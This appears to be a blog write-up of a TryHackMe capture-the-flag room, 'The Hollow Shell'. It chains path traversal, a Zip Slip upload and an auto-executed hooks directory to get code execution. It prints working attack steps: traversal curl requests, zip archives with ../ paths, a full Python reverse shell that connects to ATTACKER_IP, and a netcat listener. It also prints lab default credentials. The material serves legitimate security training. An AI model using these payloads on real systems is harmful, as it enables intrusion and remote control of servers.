August 5, 2026
The Hollow Shell | Hacker Holidays Day 10 | TryHackMe Writeup
Exploiting Local File Inclusion and a Zip Slip Vulnerability to Gain Remote Code Execution on the Target Server

By Debmalya Mondal
7 min read
TryHackMe Writeup
Room Link: https://tryhackme.com/room/hh-thehollowshell-ddb582ac
Hacker Holidays 2026 is a 14-day, free cybersecurity event hosted by TryHackMe, designed to be accessible for beginners while providing a fun, story-driven experience.
Starting from July 27, a new, beginner-friendly hacking challenge will be released daily at 16:00 UTC. Set within the Byte Lotus Hotel โ a fictional resort known for its luxury aesthetics but poor security posture. The event covers a diverse range of topics including OSINT, web exploitation, cloud security, digital forensics, and AI prompt attacks.
Participants can earn raffle tickets for each room they complete, with a prize pool exceeding $50,000 that includes hardware, certification vouchers, and official swag. Additionally, those who complete the entire event will receive a certificate of completion.
Storyline: Day 10
Concierge Briefing
You find it on the beach: pretty, ordinary, the kind of thing nobody thinks to check. Slip something inside and hold it to your ear.
The Byte Lotus beachfront lets guests personalise their in-room display by uploading a shell โ a little souvenir pack of shoreline ambiance. Staff publish them through the Shoreline Display portal, and once a shell is "held to the room's ear" it plays its shore. Slip past what the portal forgets to check, and the shell answers with a shell of your own.
Today's Objectives
- Find the flag
Walkthrough
In today's challenge, we are not given much information about the target. We are given only an IP address, no hints about what vulnerabilities could exist. Everything must be discovered from scratch through careful enumeration and testing
I started with an Nmap scan to identify open ports and services on the target machine.
nmap -sC -sV <TARGET_IP> -p-nmap -sC -sV <TARGET_IP> -p-
The scan revealed two open ports: port 22 running SSH and port 5000 running a Gunicorn HTTP server. This means the target website is accessible at: http://TARGET_IP:5000
Upon visiting the site, the browser redirected to a login page.
To discover hidden endpoints and application functionality, I performed a directory enumeration using Gobuster:
gobuster dir \
-u http://<TARGET_IP>:5000 \
-w /usr/share/wordlists/dirb/common.txt \
-x py,js,json,txtgobuster dir \
-u http://<TARGET_IP>:5000 \
-w /usr/share/wordlists/dirb/common.txt \
-x py,js,json,txt
The scan revealed several interesting paths, including a login page, a dashboard, and an upload directory. Visiting the main page again redirected me to the login portal, where I was prompted for credentials.
While examining the login page source code, I discovered something valuable. The developers had left a comment containing default credentials.
user: concierge
pass: StayNoticed2024!
I used these default credentials to log in to the application.
After logging in, I was presented with a dashboard that had a file upload feature. The interface explained that each shell must contain a shell.json manifest file listing its assets. The allowed asset types were png, jpg, gif, svg, css, and json.
I also noticed an interesting clue in the description: it mentioned that shells could include optional automation hooks and that a theme worker would apply them shortly after the shell came ashore.
To understand how the upload worked, I created a simple test ZIP containing shell.json and style.css:
echo '{"name":"upload_test","assets":[]}' > shell.json
echo "/* test */" > style.css
zip upload_test.zip shell.json style.cssecho '{"name":"upload_test","assets":[]}' > shell.json
echo "/* test */" > style.css
zip upload_test.zip shell.json style.css
The upload succeeded, and I received a response indicating the shell was stored with a unique ID.
I confirmed that I could access the uploaded files through the web server by visiting the shell's directory path. I also tested several asset validations by attempting to upload a file with a disallowed extension, which was properly rejected.
Checking Local File Inclusion
The endpoint /shells/<shell_id>/<path:asset> served files from the shell directory. I wondered if I could traverse out of this directory using ../ sequences. If the application didn't properly validate the path, I could read sensitive files like the application source code. So, I decided to check if the /shells/ endpoint was vulnerable to path traversal.
The most logical file to search for was app.py, as it's the default name for Flask applications and would reveal the application's inner workings
After several tries, one particular command succeeded, and it returned the entire app.py source code.
curl --path-as-is "http://<TARGET_IP>:5000/shells/../app.py"curl --path-as-is "http://<TARGET_IP>:5000/shells/../app.py"
By default, curl and most HTTP clients automatically remove "dot segments" like /../ or /./ from the URL path before sending the request. Without --path-as-is, the server would never see the ../ part, making it impossible to test for path traversal vulnerabilities.
The source code revealed that the application had a shells/ directory for storing uploaded files and a hooks/ directory for automation hooks.
The code used os.path.join to combine the shell directory with the filename being extracted. However, this function simply concatenates paths without checking if the result stays within the intended directory. When a filename contains ../ sequences, the resulting path can escape the shell directory and write to arbitrary locations on the filesystem.
Checking Zip-Slip Vulnerability
With the source code in hand, I assume the application could be vulnerable to a Zip-Slip Vulnerability. It is a directory traversal vulnerability that occurs when an application extracts files from a ZIP archive without properly validating file paths. An attacker can include paths with ../ sequences to write files outside the intended extraction directory.
Flask generally uses a /static directory to serve CSS, JSON, or image files. So I created a proof-of-concept ZIP file to test whether I could achieve directory traversal to that path:
echo '{"name": "zip-slip_check", "assets": []}' > shell.json
echo 'Zip Slip!!!' > message.txt
mkdir -p ../../static
cp message.txt ../../static/
zip -r zip_slip.zip shell.json ../../static/message.txtecho '{"name": "zip-slip_check", "assets": []}' > shell.json
echo 'Zip Slip!!!' > message.txt
mkdir -p ../../static
cp message.txt ../../static/
zip -r zip_slip.zip shell.json ../../static/message.txt
To confirm that the path traversal characters (../) and file structures were preserved correctly within the archive header before transmission, I used the zipinfo command to inspect the metadata of zip_slip.zip:
zipinfo zip_slip.zipzipinfo zip_slip.zip
After creating the zip_slip.zip file, when I uploaded this ZIP, the server accepted it without any complaints. I then checked if the file existed at the static endpoint and received confirmation that the file was successfully written.
It proved that Zip Slip was working. I could write files anywhere on the server that the application had permissions to write to. The static directory was writable and accessible via HTTP, which gave me a way to place files that I could later access through the browser.
The code showed that both the shells directory and the hooks directory were created by the application. This meant the hooks directory was a legitimate part of the application
I first tested writing to the static directory and confirmed it worked. However, the static directory only serves files; it doesn't execute them. I could write a Python file there, but it would just be served as text, not executed. The shells directory only stores uploaded shell files and serves them as static assets. It doesn't execute any code
Now my next hope was the hooks directory. According to the hint on the dashboard page, the hooks folder is where the theme worker looks for automation scripts to execute automatically after a shell is uploaded. The theme worker refers to a background process that automatically executes code after a shell is uploaded, processing any automation hooks included with the shell.
Getting a Reverse Shell
After trying several reverse shells, this particular shell worked perfectly.
import socket,subprocess,os
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("<ATTACKER_IP>",<PORT_NUMBER>))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
subprocess.call(["/bin/bash","-i"])import socket,subprocess,os
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("<ATTACKER_IP>",<PORT_NUMBER>))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
subprocess.call(["/bin/bash","-i"])To manually create the reverse shell zip payload, I ran the following commands:
echo '{"name":"exploit","assets":[]}' > shell.json
cat > revshell.py << 'EOF'
import socket,subprocess,os
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("<ATTACKER_IP>",<PORT_NUMBER>))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
subprocess.call(["/bin/bash","-i"])
EOF
mkdir -p ../../hooks
cp revshell.py ../../hooks/
zip revshell.zip shell.json ../../hooks/revshell.pyecho '{"name":"exploit","assets":[]}' > shell.json
cat > revshell.py << 'EOF'
import socket,subprocess,os
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("<ATTACKER_IP>",<PORT_NUMBER>))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
subprocess.call(["/bin/bash","-i"])
EOF
mkdir -p ../../hooks
cp revshell.py ../../hooks/
zip revshell.zip shell.json ../../hooks/revshell.py
After creating the payload zip, I first started a netcat listener on my machine:
nc -lvnp 4444nc -lvnp 4444
Then I uploaded revshell.zip through the web interface. Within moments, I received a connection:
After looking for a while, I located the challenge flag inside /home/roomservice directory:
By chaining together LFI, Zip-Slip, and RCE through the hooks directory, I successfully obtained the flag.
If you're attempting this challenge, I highly recommend trying it on your own before reading the solution cause it really helps strengthen your skills.
If you found this write-up helpful, consider giving it a clap ๐. This will keep me motivated to write more. If you encounter any issues while solving the challenge or notice any mistakes in this write-up, feel free to let me know in the comments.
Debmalya Mondal - Medium Read writing from Debmalya Mondal on Medium. I am Devdebug, documenting my learning in Digital Forensics, OSINT, CTFโฆ
Connect with me on ๐LinkedIn.
Follow me for more cybersecurity and tech write-ups.